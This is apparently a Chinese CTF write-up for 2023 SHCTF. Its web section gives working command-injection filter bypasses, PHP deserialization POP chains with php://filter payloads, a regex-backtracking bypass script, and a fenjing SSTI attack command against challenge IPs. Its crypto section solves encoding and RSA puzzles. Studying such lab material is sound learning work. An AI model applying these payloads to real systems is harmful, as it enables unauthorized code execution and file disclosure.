2023SHCTF

WEB

[WEEK1]babyRCE

源码审计

1
2
3
4
5
6
7
8
9
10
11
12
 <?php

$rce = $_GET['rce'];
if (isset($rce)) {
if (!preg_match("/cat|more|less|head|tac|tail|nl|od|vi|vim|sort|flag| |\;|[0-9]|\*|\`|\%|\>|\<|\'|\"/i", $rce)) {
system($rce);
}else {
echo "hhhhhhacker!!!"."\n";
}
} else {
highlight_file(__FILE__);
}

此时注意到\$都没有被过滤,所以此时针对其对关键字的过滤可以使用\进行绕过

payload

1
?rce=ca\t$IFS/fla\g

[WEEK1]1zzphp

源码审计

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
 <?php 
error_reporting(0);
highlight_file('./index.txt');
if(isset($_POST['c_ode']) && isset($_GET['num']))
{
$code = (String)$_POST['c_ode'];
$num=$_GET['num'];
if(preg_match("/[0-9]/", $num))
{
die("no number!");
}
elseif(intval($num))
{
if(preg_match('/.+?SHCTF/is', $code))
{
die('no touch!');
}
if(stripos($code,'2023SHCTF') === FALSE)
{
die('what do you want');
}
echo $flag;
}
}

此时其对我们输入的num进行检查是否包含数字,此时可以使用数组进行绕过;而看到preg_match('/.+?SHCTF/is', $code)我们就知道是回溯绕过

exp

1
2
3
4
5
import requests
payload = "1"*(1000000) + '2023SHCTF'
response = requests.post("http://112.6.51.212:32812/?num[]=1", data={"c_ode":payload})
content = response.text
print(content)

[WEEK1]ez_serialize

源码审计

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
 <?php
highlight_file(__FILE__);

class A{
public $var_1;

public function __invoke(){
include($this->var_1);
}
}

class B{
public $q;
public function __wakeup()
{
if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->q)) {
echo "hacker";
}
}

}
class C{
public $var;
public $z;
public function __toString(){
return $this->z->var;
}
}

class D{
public $p;
public function __get($key){
$function = $this->p;
return $function();
}
}

if(isset($_GET['payload']))
{
unserialize($_GET['payload']);
}
?>

反序列化的题目就是将一整条链子捋清楚,先确定链尾然后一直反推到链首;此时我们观察源码发现在A类的invoke魔术方法中存在include()函数,此时我们可以利用这个文件包含来读取flag,接下来就是如何触发invoke();我们知道当一个对象被当作函数的形式调用时会触发invoke(),所以此时我们可以定位到D类的get()魔术方法中的$function = $this->p;return $function();;而此时get()的调用方式则是当访问一个不存在或者没有权限
访问的对象时触发此时我们可以定位到C类的中的toString()的return $this->z->var;;而toString()的触发方式则是触发字符串,那么此时刚好和
wakeup()中的echo对应,那么此时我们就可以得到我们需要构造的反序列化链

反序列化链

1
B__wakeup()  -->  C__toString()  -->  D__get()  -->  A__invoke()

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<?php
highlight_file(__FILE__);

class A{
public $var_1 = "php://filter/read=convert.base64-encode/resource=flag.php";
}

class B{
public $q;
}
class C{
public $var;
public $z;
}

class D{
public $p;
}

$a = new B;
$a -> q = new C;
$a -> q -> z = new D;
$a -> q -> z -> p = new A;
echo serialize($a);

payload

1
O:1:"B":1:{s:1:"q";O:1:"C":2:{s:3:"var";N;s:1:"z";O:1:"D":1:{s:1:"p";O:1:"A":1:{s:5:"var_1";s:57:"php://filter/read=convert.base64-encode/resource=flag.php";}}}}

[WEEK1]登录就给flag

rockyou

username=admin&password=password

[WEEK1]飞机大战

JS

此时我们看到这种前端类型的题目此时可以直接到JS文件中查找关键字flag alert ctf ...

此时unicode解码后在base64解码即可获得flag

[WEEK1]生成你的邀请函吧~

post发送一个josn格式的请求包即可

[WEEK2]ez_ssti

此时题目已经给出了考点了,那么此时我们考虑可以使用自动化工具

fenjing自动化

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
各个功能的介绍:

webui: 网页UI
顾名思义,网页UI
默认端口11451
scan: 扫描整个网站
从网站中根据form元素提取出所有的表单并攻击
扫描成功后会提供一个模拟终端或执行给定的命令
示例:python -m fenjing scan --url 'http://xxx/'
crack: 对某个特定的表单进行攻击
需要指定表单的url, action(GET或POST)以及所有字段(比如'name')
攻击成功后也会提供一个模拟终端或执行给定的命令
示例:python -m fenjing crack --url 'http://xxx/' --method GET --inputs name
crack-path: 对某个特定的路径进行攻击
攻击某个路径(如http://xxx.xxx/hello/<payload>)存在的漏洞
参数大致上和crack相同,但是只需要提供对应的路径
示例:python -m fenjing crack-path --url 'http://xxx/hello/'
get-config: 对某个特定的表单进行攻击,但是只获取flask config
参数大致上和crack相同

使用命令python3 -m fenjing crack --url 'http://112.6.51.212:30241/' --method GET --inputs name进行攻击

[WEEK2]EasyCMS

指纹识别


此时一眼即为Taocms;谨慎一点使用指纹识别工具进行验证

Taocms 代码注入漏洞

那么此时我们就知道这题的考点在于Taocms的nday或1day漏洞利用了;根据这篇文章
https://blog.csdn.net/huayimy/article/details/127611217
可以获得flag

[WEEK2]no_wake_up

代码审计

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
 <?php
highlight_file(__FILE__);
class flag{
public $username;
public $code;
public function __wakeup(){
$this->username = "guest";
}
public function __destruct(){
if($this->username = "admin"){
include($this->code);
}
}
}
unserialize($_GET['try']);

wakeup的绕过

exp:

1
2
3
4
5
6
7
8
9
10
11
<?php
highlight_file(__FILE__);
class flag{
public $username = "admin";
public $code = "php://filter/read=convert.base64-encode/resource=flag.php";

public function __destruct(){
}
}
$a = new flag;
echo serialize($a);

此时针对wakeup的绕过我们只需要将前面的属性值加一即可

O:4:"flag":3:{s:8:"username";s:5:"admin";s:4:"code";s:57:"php://filter/read=convert.base64-encode/resource=flag.php";}

[WEEK2]serialize

代码审计

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
 <?php
highlight_file(__FILE__);
class misca{
public $gao;
public $fei;
public $a;
public function __get($key){
$this->miaomiao();
$this->gao=$this->fei;
die($this->a);
}
public function miaomiao(){
$this->a='Mikey Mouse~';
}
}
class musca{
public $ding;
public $dong;
public function __wakeup(){
return $this->ding->dong;
}
}
class milaoshu{
public $v;
public function __tostring(){
echo"misca~musca~milaoshu~~~";
include($this->v);
}
}
function check($data){
if(preg_match('/^O:\d+/',$data)){
die("you should think harder!");
}
else return $data;
}
unserialize(check($_GET["wanna_fl.ag"]));

此时针对反序列化的题目我们的第一步依旧是找链子,此时我们首先定位链尾;此时发现一个在milaoshu这个类中发现了include函数;此时我们可
以通过这个include()函数的文件包含中使用伪协议进行读取flag。那么此时我们就将这个作为链尾,这个时候观察include()函数的触发魔术魔法
toString,我们知道toString()的触发方式是字符串的输出,那么此时我们就可以定位到misca类中的get魔术魔法中的die函数,此时
这个函数会输出字符串,接下来继续找get的触发条件,当访问一个不存在的属性或者无法访问的属性时会触发get那么此时我们就可以继续定位到musca类中的wakeup()此时他的return $this->ding->dong;会触发get;所以这一整条链子如下

1
musca::__wakeup() -> misca::__get($key) -> milaoshu::__toString()

反序列化之地址引用

但是此时我们要触发toString却存在一个难点就是die()中的变量a会被提前赋值,此时便会使得我们无法触发toString;但是接下来我们看到了
一个奇怪的赋值形式$this->gao=$this->fei;
接下来是我的理解:

此时的$this -> gao = $this -> fei此时对fei的赋值会影响到ago的值,那么此时我们直接令$this -> a = &$this -> gao,此时调用a的地址
那么此时的die($this -> a)就会变成die($this -> fei);此时令$this -> fei = new milaoshu就可以调用toString

浅拷贝

1
2
3
4
5
<?php
$a = 'okfafu';
$b = &$a;
$b = '0xfafu';
echo $a; //此时a=0xfafu


此时传递类似地址的方法传递过去,但其实两者是同步的或者是已经是一体的。
$this->gao=$this->fei;的处理和ISCTF2022的猫和老鼠的考点是一样的,通过地址引用让$a指向milaoshu(),die可以起到echo的作用来触发__toString底下的check函数的检查匹配序列化字符串是否是对象字符串开头,可以在序列化时用array($a)绕过非法传参,参数名传入要改为wanna[fl.ag

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
<?php
highlight_file(__FILE__);
class misca{
public $gao;
public $fei;
public $a;
function __construct(){
$this -> gao = &$this -> a;//重点
}
}
class musca{
public $ding;
public $dong;

}
class milaoshu{
public $v='php://filter/convert.base64-encode/resource=flag.php';

}
$a=new musca();
$a->ding=new misca();
$a->ding->fei=new milaoshu();
echo serialize(array($a));//array绕过数组

[WEEK2]ez_rce

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
from flask import *
import subprocess

app = Flask(__name__)

def gett(obj,arg):
tmp = obj
for i in arg:
tmp = getattr(tmp,i)
return tmp

def sett(obj,arg,num):
tmp = obj
for i in range(len(arg)-1):
tmp = getattr(tmp,arg[i])
setattr(tmp,arg[i+1],num)

def hint(giveme,num,bol):
c = gett(subprocess,giveme)
tmp = list(c)
tmp[num] = bol
tmp = tuple(tmp)
sett(subprocess,giveme,tmp)

def cmd(arg):
subprocess.call(arg)


@app.route('/',methods=['GET','POST'])
def exec():
try:
if request.args.get('exec')=='ok':
shell = request.args.get('shell')
cmd(shell)
else:
exp = list(request.get_json()['exp'])
num = int(request.args.get('num'))
bol = bool(request.args.get('bol'))
hint(exp,num,bol)
return 'ok'
except:
return 'error'

if __name__ == '__main__':
app.run(host='0.0.0.0',port=5000)

[WEEK2]MD5的事就拜托了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
 <?php
highlight_file(__FILE__);
include("flag.php");
if(isset($_POST['SHCTF'])){
extract(parse_url($_POST['SHCTF']));
if($$$scheme==='SHCTF'){
echo(md5($flag));
echo("</br>");
}
if(isset($_GET['length'])){
$num=$_GET['length'];
if($num*100!=intval($num*100)){
echo(strlen($flag));
echo("</br>");
}
}
}
if($_POST['SHCTF']!=md5($flag)){
if($_POST['SHCTF']===md5($flag.urldecode($num))){
echo("flag is".$flag);
}
}

这个时候我们先进行代码审计,此时的extract(parse_url($_POST['SHCTF']));使用了parse_url进行解析post提交的url;并且将其结果作为
变量名;而此时的if($$$scheme==='SHCTF');$$$是PHP中的可变变量语法。它以一个或多个$符号紧跟着变量名,用于构造一个新的变量名。具体来
说,$$$scheme将使用$scheme的值来构造一个新变量名,然后访问这个变量。;if($num*100!=intval($num*100)) 这个条件检查 $num 乘以 100 的结果是否与其整数值不相等。然后如果满足的话将会输出flag的长度;接下来判断以POST提交的SHCTF是否等于flag的md5值;如果等于的话会输
出flag

parse_url变量覆盖

此时我们先研究一下parse_url这个函数;此时在本地实验一下

1
2
3
4
5
<?php
highlight_file(__FILE__);
$url='https://www.example.com:8080/path/file.php?var1=value1';
$array=parse_url($url);
var_dump($array);


这里结合变量覆盖可得

1
2
3
4
5
6
//这里我选用的是url的scheme,host,query这三个位置
$scheme=host
$$scheme=$host=query
$$$scheme=$query=SHCTF
payload1:
host://query?SHCTF //分别把值对应到url上

MAD5=8f56a8b852f6a1c71b94a9e96fa4b08a

intval特性

然后再看GET传参,直接传1.0001
length=42

hash拓展长度攻击

这个时候看到 if($_POST['SHCTF']===md5($flag.urldecode($num)))我们就可以马上想到hash拓展长度攻击

[WEEK3]gogogo

下载附件,是用go的gin框架写的后端,cookie-session是由gorilla/sessions来实现,而sessions库使用了另一个库:gorilla/securecookie
来实现对cookie的安全传输。
查看源码,发现主要部分在route.go部分,需要admin才有权限查看文件得到flag
总共有两个路由,一个“/“路由,一个”/readflag”路由
根路由

1
2
3
4
5
6
7
8
9
10
11
12
13
14
package main

import (
"main/route"

"github.com/gin-gonic/gin"
)

func main() {
r := gin.Default()
r.GET("/", route.Index)
r.GET("/readflag", route.Readflag)
r.Run("0.0.0.0:8000")
}

重要代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
func Index(c *gin.Context) {
session, err := store.Get(c.Request, "session-name")
if err != nil {
http.Error(c.Writer, err.Error(), http.StatusInternalServerError)
return
}
if session.Values["name"] == nil {
session.Values["name"] = "User"
err = session.Save(c.Request, c.Writer)
if err != nil {
http.Error(c.Writer, err.Error(), http.StatusInternalServerError)
return
}
}

c.String(200, "Hello, User. How to become admin?")

}

可以看到,这里将判断是否携带了cookie,如果cookie中的name为空,就将其设置为user。并且有一个细节,无论是否是管理员,根路由永远都会返回
Hello, User. How to become admin?
想到需要伪造session;上面通过获取环境变量中的SESSION_KEY来获取生成secure cookie。只能对SESSION_KEY进行猜测,猜测并未设置SESSION_KEY。在本地运行程序,将SESSION_KEY置为空从而伪造cookie。

Crypto

[WEEK1]Crypto_Checkin

1
base85(b) -> base64 -> base32 -> base16

flag{Th1s_1s_B4s3_3nc0d3}

[WEEK1]凯撒大帝


flag{chutihaonan}

[WEEK1]进制


flag{ahfkjlhkah}

[WEEK1]残缺的md5

描述:苑晴在路边捡到了一张纸条,上面有一串字符串:KCLWG?K8M9O3?DE?84S9问号是被污染的部分,纸条的背面写着被污染的地方为大写字母,
还给了这串字符串的md5码值:F0AF????B1F463????F7AE???B2AC4E6请提交完整的md5码值并用flag{}包裹提交

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
import hashlib

k = 'KCLWG?K8M9O3?DE?84S9'
for i in range(26):
temp1 = k.replace('?', str(chr(65 + i)), 1)
for j in range(26):
temp2 = temp1.replace('?', chr(65 + j), 1)
for n in range(26):
temp3 = temp2.replace('?', chr(65 + n), 1)
s = hashlib.md5(temp3.encode('utf8')).hexdigest().upper()
if s[:4] == 'F0AF':
print ('flag{'+s+'}')

[WEEK1]okk

一眼okk编码直接使用https://www.splitbrain.org/services/ook进行解密
flag{123456789}

[WEEK1]熊斐特

描述:熊斐特博士发现了一种新的密码。uozt{zgyzhs xrksvi}
Atbash解码:FLAG{ATBASH CIPHER}

[WEEK1]黑暗之歌

密文:

1
⠴⡰⡭⡳⠴⡰⡭⡰⡷⡲⡢⡩⡭⡡⠯⡩⡭⡡⡺⡩⡭⡡⠳⡩⡭⡡⡺⡩⡭⡡⡶⡩⡭⡡⡶⡩⡭⡡⡲⡩⡭⡡⡺⡩⡭⡡⠯⡩⡧⡊⡢⡩⡭⡡⠯⡩⡭⡡⡺⡃⡰⠫⡋⡚⡲⡍⡋⡮⠴⡰⡭⡶⡷⡲⡢⡩⡧⡊⡢⡃⡴⡵⡋⡁⡬⡵⡋⡁⡬⡵⡋⡁⡬⡳⡋⠲⠴⡯⡃⡗⠴⡰⡭⡴⠴⡰⡭⡶⡷⡲⡢⡩⡧⡊⡢⡩⡭⡡⡺⡩⡭⡡⡺⡩⡭⡡⠳⡩⡧⡊⡢⡩⡭⡡⠯⡩⡧⡊⡢⡃⡴⡵⡋⡚⡱⠫⡋⡚⡱⠫⡋⡚⡲⠵⠲⡺⠰⠽

盲文解密 –> base64 –> 音符密码
flag{b2cc-9091-8a29}

[WEEK1]迷雾重重

莫斯密码
FLAG{MORSE_IS_VERY_FUN}

[WEEK1]难言的遗憾

描述:我们本可以早些进入信息化时代的,但是清政府拒不采纳那份编码规则。 (注:flag为中文,使用flag{}包裹提交)
中文电报码解码: flag{一天不学高数我就魂身难受}

[WEEK1]小兔子可爱捏

题目描述:宇宙的终极答案是什么?U2FsdGVkX1/lKCKZm7Nw9xHLMrKHsbGQuFJU5QeUdASq3Ulcrcv9
rabbit密码,key为42;flag{i_love_technology}

[WEEK1]what is m

1
2
3
4
5
6
7
from Crypto.Util.number import bytes_to_long
from secret import flag

m = bytes_to_long(flag)
print("m =",m)

# m = 7130439814059477382855563353906372398919900016616223069580645592349221130130388873192795189874110475344017518129521076889460992145696045687510866045009759706871831702092885897757211131196541

此时该代码的作用是将flag变量中的字节数组转换为一个大整数,并将结果存储在m变量中;那么此时我们可以写一个脚本将大整数转换为字节数组

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
def long_to_bytes(n):
# 计算字节数
num_bytes = (n.bit_length() + 7) // 8

# 使用.to_bytes方法将大整数转换为字节数组
byte_array = n.to_bytes(num_bytes, byteorder='big')

return byte_array


# 示例用法
n = 7130439814059477382855563353906372398919900016616223069580645592349221130130388873192795189874110475344017518129521076889460992145696045687510866045009759706871831702092885897757211131196541
byte_array = long_to_bytes(n)
print(byte_array)

[WEEK1]really_ez_rsa

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
from Crypto.Util.number import getPrime, bytes_to_long

e = 65537
m = b''

p = getPrime(128)
q = getPrime(128)
n = p * q
m = bytes_to_long(m)
c = pow(m, e, n)

print("p =", p)
print("q =", q)
print("c =", c)
print("e =", e)

# p = 217873395548207236847876059475581824463
# q = 185617189161086060278518214521453878483
# c = 6170206647205994850964798055359827998224330552323068751708721001188295410644
# e = 65537

此时的pqce都已经给出,那么此时我们只需要直接解密即可

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
import gmpy2
import libnum
from Crypto.Util.number import *
from binascii import a2b_hex, b2a_hex

flag = "*****************"

p = 217873395548207236847876059475581824463
q = 185617189161086060278518214521453878483
c = 6170206647205994850964798055359827998224330552323068751708721001188295410644
e = 65537
n = p * q
phi = (p - 1) * (q - 1)
d = gmpy2.invert(e, phi)
m = pow(c, d, n)
print(libnum.n2s(int(m)))